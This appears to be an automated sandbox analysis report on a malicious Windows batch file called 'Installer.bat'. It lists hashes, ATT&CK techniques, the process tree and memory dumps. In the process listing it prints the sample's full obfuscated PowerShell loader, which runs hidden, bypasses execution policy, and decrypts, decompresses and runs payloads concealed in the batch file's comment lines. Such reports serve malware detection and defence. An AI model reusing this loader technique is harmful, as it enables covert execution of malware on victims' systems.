f5650b450dedd0a0fec4a59e7412d1312352bd9088c5d2e934f863926b1c5dad

Analysis

max time kernel
27s
max time network
18s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
24-05-2024 03:05

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General

Target

Installer.bat
Size

66KB
MD5

c51a341d4045678ac21ec499e8c9e992
SHA1

0e44988a81ff21a58456c3b782c7a51aafde1358
SHA256

f5650b450dedd0a0fec4a59e7412d1312352bd9088c5d2e934f863926b1c5dad
SHA512

8c51dd3ab2992871f702b255551f45c6cb2ed937774eac027a87dc4f2e2926a45433b4e56fc8e90dcf40a465d79280c0212c364070bd7e1dd6dfec177a430159
SSDEEP

1536:NoQ26vCtla+UARVN2PUPFK9QBib9ZKL/FhtGif3:3hvCvUi2Pi7BiYFhtGif3

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2076 powershell.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2076 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2076 powershell.exe

pid	process
2076	powershell.exe

pid	process
2076	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exenet.exe

description	pid	process	target process
PID 2808 wrote to memory of 2084	2808	cmd.exe	net.exe
PID 2808 wrote to memory of 2084	2808	cmd.exe	net.exe
PID 2808 wrote to memory of 2084	2808	cmd.exe	net.exe
PID 2084 wrote to memory of 2248	2084	net.exe	net1.exe
PID 2084 wrote to memory of 2248	2084	net.exe	net1.exe
PID 2084 wrote to memory of 2248	2084	net.exe	net1.exe
PID 2808 wrote to memory of 2076	2808	cmd.exe	powershell.exe
PID 2808 wrote to memory of 2076	2808	cmd.exe	powershell.exe
PID 2808 wrote to memory of 2076	2808	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2808

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:2084

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:2248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nXSajZrUqAqKVdHyYRJ6lyU21T//NNE+X+mj0zre9EE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U/eGnrmPpGq50sOwe1VcYQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FZRrB=New-Object System.IO.MemoryStream(,$param_var); $UumYj=New-Object System.IO.MemoryStream; $PwqjF=New-Object System.IO.Compression.GZipStream($FZRrB, [IO.Compression.CompressionMode]::Decompress); $PwqjF.CopyTo($UumYj); $PwqjF.Dispose(); $FZRrB.Dispose(); $UumYj.Dispose(); $UumYj.ToArray();}function execute_function($param_var,$param2_var){ $zsNFP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XrMDq=$zsNFP.EntryPoint; $XrMDq.Invoke($null, $param2_var);}$iBKJy = 'C:\Users\Admin\AppData\Local\Temp\Installer.bat';$host.UI.RawUI.WindowTitle = $iBKJy;$PJEAO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($iBKJy).Split([Environment]::NewLine);foreach ($NJOsI in $PJEAO) { if ($NJOsI.StartsWith(':: ')) { $JySyT=$NJOsI.Substring(3); break; }}$payloads_var=[string[]]$JySyT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2076-9-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2076-8-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2076-7-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2076-6-0x0000000002220000-0x0000000002228000-memory.dmp

Filesize
32KB

Download
memory/2076-5-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

Filesize
2.9MB

Download
memory/2076-4-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

Filesize
4KB

Download
memory/2076-10-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2076-11-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2076-12-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download